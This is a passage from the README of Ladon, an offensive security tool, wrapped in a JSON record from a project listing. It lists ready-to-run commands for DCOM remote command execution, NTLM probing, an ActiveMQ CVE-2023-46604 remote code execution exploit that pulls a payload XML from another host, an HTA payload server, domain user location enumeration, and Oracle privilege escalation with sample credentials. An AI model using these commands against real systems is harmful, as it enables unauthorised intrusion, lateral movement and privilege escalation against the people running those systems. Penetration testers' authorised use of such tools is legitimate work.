cmdline\nLadon MmcExec 127.0.0.1 calc\nLadon MmcExec 127.0.0.1 Y2FsYw==\n```\n\n##### 251 Dcom远程执行命令之ShellWindows\n```Bash\t\nLadon ShellExec host cmdline\nLadon ShellExec 127.0.0.1 calc\nLadon ShellExec 127.0.0.1 Y2FsYw==\n```\n\n##### 252 Dcom远程执行命令之ShellBrowserWindow\n```Bash\nLadon ShellBrowserExec host cmdline\nLadon ShellBrowserExec 127.0.0.1 calc\nLadon ShellBrowserExec 127.0.0.1 Y2FsYw==\n```\n\n##### 253 Smtp Ntlm探测系统信息(25、465、587端口)\n```Bash\t\nLadon 192.168.1.8/24 SmtpInfo\n```\n\n##### 254 HTTP/S Ntlm探测系统信息\n```Bash\t\nLadon 192.168.1.8/24 HttpInfo\n```\n\n##### 255 ActiveMQ CVE-2023-46604 RCE Exploit\n```Bash\t\nLadon CVE-2023-46604 -i 192.168.1.8 -u http://192.168.1.1/poc.xml\n```\n\n##### 256 DomainLog\tDomainUserIP 远程查询域用户IP\n```Bash\t\n       Ladon DomainLog -d 7\n       Ladon DomainLog -h ip -d 7\n       Ladon DomainLog -h ip -d 7 -grep user\n       Ladon DomainLog -h ip -u username -p password -d 7\n       Ladon DomainLog -h ip -u username -p password -d 7 -all\n       Ladon DomainLog -h ip -u username -p password -d 7 -f user -o C:\\path\\res\nult.txt\n```\n\n\n##### 257 检测用户是否Lotus管理员\n```Bash\t\nLadon LotusAdmin http://192.168.1.1\nLadon LotusAdmin http://192.168.1.1/adm.nsf\n```\n\n##### 258 HTA服务器 一键启动 访问DOC也能执行HTA\n```Bash\nLadon HtaSer\nLadon HtaSer 8080\n```\n\n##### 259 ConfVer ConfluenceVer探测Confluence版本\n```Bash\t\nLadon 192.168.1.8/24 ConfVer\nLadon http://192.168.1.8:8080 ConfVer\nLadon url.txt ConfVer\n```\n\n##### 260 FindAD 可用于查找活动目录用户登陆的位置、枚举域用户\n```Bash\t\nLadon FindAD \u003cparameters\u003e\nLadon pveFindADUser \u003cparameters\u003e\n```\n\n##### 261 Oracle数据库远程提权工具 官方驱动\u003e=.net 4.8\n```Bash\t\nLadon OracleCmd2 192.168.1.8 1521 orcl admin 123456 whoami\n```\n\n\n##### 262 Oracle数据库远程提权工具 3种方法一键提权\n```Bash\t\nLadon OracleCmd 192.168.1.8 1521 orcl admin 123456 m1 whoami\nLadon OracleCmd 192.168.1.8 1521 orcl admin 123456 m2 whoami\nLadon OracleCmd 192.168.1.8 1521 orcl admin 123456 m3 whoami\n```\n\n\n\n=======================================================\n\n\n### Example\n\nhttp://k8gege.org/Ladon/example-en.html\n\n### Latest version\nLatest version in small seal ring: http://k8gege.org/Ladon/update.txt\n\u003cdiv style=\"text-align: center; width: 710px; border: green solid 0px;\"\u003e\n\u003cimg alt=\"\" src=\"http://k8gege.org/img/k8team.jpg\" style=\"display: inline-block;width: 250px;height: 300px;\" /\u003e\n\u003c/div\u003e\n\n## Stargazers over time\n\n[![Stargazers over time](https://starchart.cc/k8gege/Ladon.svg)](https://starchart.cc/k8gege/Ladon)\n\n\u003cimg align='right' src=\"https://profile-counter.glitch.me/Ladon/count.svg\" width=\"200\"\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fk8gege%2FLadon","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fk8gege%2FLadon","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fk8gege%2FLadon/lists"}